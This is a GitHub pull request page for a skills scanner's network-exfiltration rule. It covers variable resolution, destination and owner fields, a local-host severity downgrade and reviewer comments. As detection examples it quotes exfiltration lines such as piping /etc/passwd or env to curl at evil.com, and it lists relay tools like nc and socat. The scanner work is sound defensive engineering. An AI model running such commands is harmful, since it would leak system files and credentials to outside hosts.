Repository navigation
scan-skills: net-exfil names the host a $VAR holds (dest=, owner=); a credential sent to a local host is WARN (#353) #722
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
base: main
Are you sure you want to change the base?
Changes from all commits
d13eb8f
a4c975a
98488d1
16b9729
ad3ede3
48ca253
470b53a
9c15848
4966f1a
fc5a37f
8ab16cb
781e146
6c565fd
c63aa93
e5b6e43
b25d928
3e5501d
79b90c4
4d138a8
38bfc93
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,14 @@ | ||
| ### Fixed — `--scan-skills` net-exfil names the host a `$VAR` holds, and some credential variables sent to a local host are WARN (#353, thanks @toasterbook88) | ||
|
|
||
| @toasterbook88 scanned a 2,077-file skills tree and read every one of the 107 `EXFILTRATE:net-exfil` rows by hand. They found that the rule fired per line on a network verb plus any `$VAR`, so `BASE_URL=https://api.cloudflare.com/…` three lines up was invisible, and documented API calls read like exfiltration. They then froze a classifier (`classify107.sh`) and published a corrected histogram: about 89 of the 107 were documented service-API calls, and the six that carried a credential all sent it to the service that owns it. They also found the miss the rule is named for: `cat /etc/passwd | curl https://evil.com --data-binary @-` scanned clean. The 0.6.x severity fix made that CRITICAL, and a network verb with no destination stopped firing. This entry adds the flow-based part promised then. | ||
|
|
||
| - **Same-document `$VAR` resolution.** A `$VAR` or `${VAR}` on a flagged line stands for a literal only when the same file binds `VAR` at exactly one site, before the line. That site must be a plain `VAR=…` or `export VAR=…` that always runs, or a `for VAR in` list of literal words. An assignment behind `&&` or `||`, after `then` or `do`, inside an `if`, loop, `case`, `{…}` or a multi-line `(…)`, on a line a `\`, `&&`, `||`, `|` or an open quote continues, or in a here-document body may not run in this shell, so it is a site but never a literal. Every other binding counts as a site and leaves the variable unresolved: a second assignment, an assignment after the line, `VAR=$(cmd)`, `VAR=$OTHER`, an assignment inside a pipeline, and `read`, `local`, `unset`, `${VAR:=…}` and `printf -v`. A file that binds names behind the table's back resolves nothing at all: `source` or `.`, `eval`, `declare`/`typeset`, `printf -v`, an `export` of a computed name, or `${!ref}`. | ||
| - **`dest=`** on a net-exfil row lists the hosts the line's `curl` URLs name, and appears only when every host is proved. A proved host is a literal URL or a resolved `$VAR`. The row has no `dest=` when any of these is present: an unresolved `$VAR`, a proxy (`-x`), `--resolve`, a config file (`-K`), a `VAR=x` prefix such as `https_proxy=…`, a curl that runs as another program (`./curl`), an option the proof does not model, a second network verb outside a `#` comment, a `$(…)` or a trailing `\`. `curl` itself may follow a prompt `$`, a control word (`then`, `do`, …) or a runner that takes no option here (`command`, `time`, `nohup`, `exec`, `sudo`, `env` with no assignment). A `$` the shell does not expand (single-quoted or escaped) is not substituted, and an unquoted `$VAR` anywhere in the curl command must resolve to a value with no blank or glob byte, since the shell would split it into more arguments. Within the host it also needs canonical text: a `$`, backtick, backslash or `%` anywhere in the authority, including the userinfo, an upper-case host, a trailing dot and a non-digit port each leave it unproved. The host is whatever follows the authority's one `@`, so a URL whose userinfo reads `api.github.com` goes to the host after the `@`. `dest=` says where the URLs point, not where the bytes end up. | ||
| - **`owner=`** names the service whose name a credential variable carries, when that service owns every `dest=` host: `CLOUDFLARE`/`CF` for cloudflare.com, `GITHUB`/`GH` for github.com, `AIRTABLE` for airtable.com. The table is small and explicit, and the match is registrable-domain label equality: cloudflare.evil.example, evilcloudflare.com and pages.github.io get no `owner=`. **It is information for triage; the row stays CRITICAL.** A first version made it a WARN downgrade (`why="cred-to-owner"`). An adversarial review showed that downgrade can be abused. A token sent to its own service's API can still move data into an object an attacker controls there: a gist, an issue body, an ssh key added to the account, a member invite, or an attacker's Airtable base. The line can also be steered away from what it says, through a proxy variable, a curlrc, a shadowed `curl` or a sourced file. The downgrade was withdrawn before release. | ||
| - **`why="local-dest"`.** A credential variable is WARN, not CRITICAL, only when all of these hold. It is sent by a bare `curl` (no runner word and no `VAR=x` prefix, unlike `dest=`) over HTTP(S), without following redirects. Every host is localhost, 127/8, `::1` or an RFC 1918 address (10/8, 172.16/12, 192.168/16), in canonical spelling. The file shows no relay, forward or redirect anywhere, prose included, since an agent follows prose too. The relay signals are: a background job, `socat`/`nc`/`ncat`, an `ssh -L`/`-R`/`-D` forward, `gopher://` or `smtp://`, a `Host:` header, a `*_proxy` variable, a curlrc, `CURL_HOME` or `--config`/`-K`, a `PATH=` or preload change, a `curl` function or alias, `source`, `eval`, or an `export` of a computed value. That list is a heuristic, not a proof. When a signal is present, the row keeps the severity it had before. Link-local (169.254/16) is not local: 169.254.169.254 is a cloud metadata service. | ||
|
|
||
| Only a credential *variable* can reach WARN. An env dump, a key file and a credential-file read stay CRITICAL wherever they go, and `sensitive-read-upload` is CRITICAL whatever the host. On a synthetic tree shaped like the reporter's corrected histogram, the six credential rows stay CRITICAL and now carry `owner=` and `dest=`. No row changed severity, and 67 of the 107 rows name their host (an unquoted `$VAR` the file never binds, such as `/v0/$BASE_ID`, could split into another URL, so its row names none). The 80-file adversarial set (`test/skillfix/adv353/`, plus four of our own: an eval, a background listener, a here-document and an if-block assignment, and seven from CodeRabbit's review: a quoted `"$@"` or `"${arr[@]}"` as one option's value, a curl 8.13 `--url @FILE` URL list, and a `read` or `printf -v` behind a `NAME=` prefix or `command` that rebinds the host) keeps every severity main gives it. Every negative line in `netexfil_flow.md` stays CRITICAL, and each rule has a source mutant that turns its arm red. | ||
|
|
||
| The approach takes two ideas from NVIDIA SkillSpector's taint tracking (Apache-2.0): follow a value through an intermediate variable, and keep the finding whenever an operand, flag or command lies outside what the proof models. No SkillSpector code or pattern text is included. The `--scan-skills` categories already credit NVIDIA's skill-scanning work. | ||
|
|
||
| Known limits, unchanged: the proof models `curl` only, so a `wget` or `nc` line keeps its line-local grade. A command continued with `\` is read one line at a time, so a credential on the continuation line is not seen. `env | curl --data-binary @- URL`, with no `$VAR` or `base64`, still scans clean. Gates: `test/skillscan.sh` checks 18b and 18c, and `test/regexguardcheck.sh` arm (f4), which bounds the time on 50,000 assignments, 40,000 destination words and a 3,000-fold expansion. |
| Original file line number | Diff line number | Diff line change |
|---|---|---|
|
|
@@ -1115,7 +1115,9 @@ inline constexpr CompactCompletenessTerm kCompactAttributeReadings[] = | |
| { "files", "files=N: files scanned (unscannable ones are skipped=)", false, "skillscan", MapHeaderRead::No, {}, "scan-skills" }, | ||
| { "findings", "findings=N: pattern hits; rows print up to 200 (shown= capped=1 past that)", false, "skillscan", MapHeaderRead::No, {}, "scan-skills" }, | ||
| { "verdict", "verdict=clean|warn|critical: the worst finding's severity, the same as exit 0/1/2", false, "skillscan", MapHeaderRead::No, {}, "scan-skills" }, | ||
| { "why", "f why=no-cred-source: net-exfil hit, no credential-shaped source on the line (WARN); why=sensitive-read-upload: a sensitive file read feeds the upload (CRITICAL)", true, "f", MapHeaderRead::No, {}, "scan-skills" }, | ||
| { "why", "f why=no-cred-source: net-exfil hit, no credential-shaped source on the line (WARN); why=sensitive-read-upload: a sensitive file read feeds the upload (CRITICAL); why=local-dest: a credential var sent by bare curl over HTTP(S) only to a canonical loopback or private-LAN host, no redirect, no relay/proxy/curl-config/curl-shadowing signal in the file (WARN)", true, "f", MapHeaderRead::No, {}, "scan-skills" }, | ||
| { "dest", "f dest=: the hosts the line's curl URLs name, when all are proved (a literal URL, or a $VAR whose one binding is a literal assignment that always runs before the curl, not one behind if/&&/a loop); where the URLs point, not proof of the last hop; absent = unproved", true, "f", MapHeaderRead::No, {}, "scan-skills" }, | ||
|
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Include literal loop bindings in the The scanner resolves As per path instructions, “Pins and gate counts are re-derived by their generators, never hand-edited.”
|
||
| { "owner", "f owner=: the service (cloudflare, github, airtable) a credential var names and that owns every dest= host; triage only, the row stays CRITICAL", true, "f", MapHeaderRead::No, {}, "scan-skills" }, | ||
| { "rule", "f rule=: the finding's rule, CATEGORY:name (INJECTION, EXFILTRATE, SCOPE-CREEP, FRONTMATTER, SCAN-INCOMPLETE); p= is path:line", true, "f", MapHeaderRead::No, {}, "scan-skills" }, | ||
| { "sev", "f sev=critical|warn|info: that finding's severity (verdict= is the worst)", true, "f", MapHeaderRead::No, {}, "scan-skills" }, | ||
| { "capped", "capped=1: more rows than 200; the shown rows are the worst severity first (every CRITICAL, then WARN)", false, "skillscan", MapHeaderRead::No, {}, "scan-skills" }, | ||
|
|
||
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Document the supported
for … inbinding form.The reference says a host variable counts when a literal assignment runs before the line. The positive
for p in 8080fixture resolves the port variable on the same line and emitsdest=. Add the supported loop-list form to the help source, then regenerate this reference. Keep the distinction between that form and a conditional assignment in a loop body. (raw.githubusercontent.com)